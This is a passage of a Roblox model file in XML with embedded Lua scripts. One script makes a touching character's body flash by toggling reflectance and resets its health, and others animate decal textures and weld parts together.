part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX93">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">37uaea2t</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX94">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">eyhz</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX95">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>-8.19999981</X>
					<Y>12.6000004</Y>
					<Z>30.5</Z>
					<R00>-0</R00>
					<R01>-1</R01>
					<R02>0</R02>
					<R10>-0</R10>
					<R11>-0</R11>
					<R12>1</R12>
					<R20>-1</R20>
					<R21>-0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Infected</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">9</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>5</X>
					<Y>0.400000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="Script" referent="RBX96">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX97">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">udcr5c0u3</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX98">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX99">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">iyfy2r</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX100">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX101">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">9sim</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX102">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal2</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX103">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">ejg7aef</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="BlockMesh" referent="RBX104">
				<Properties>
					<float name="Bevel">0</float>
					<float name="Bevel Roundness">0</float>
					<float name="Bulge">0</float>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<string name="Name">Mesh</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>1</X>
						<Y>0</Y>
						<Z>5</Z>
					</Vector3>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX105">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">vh4np</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX106">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
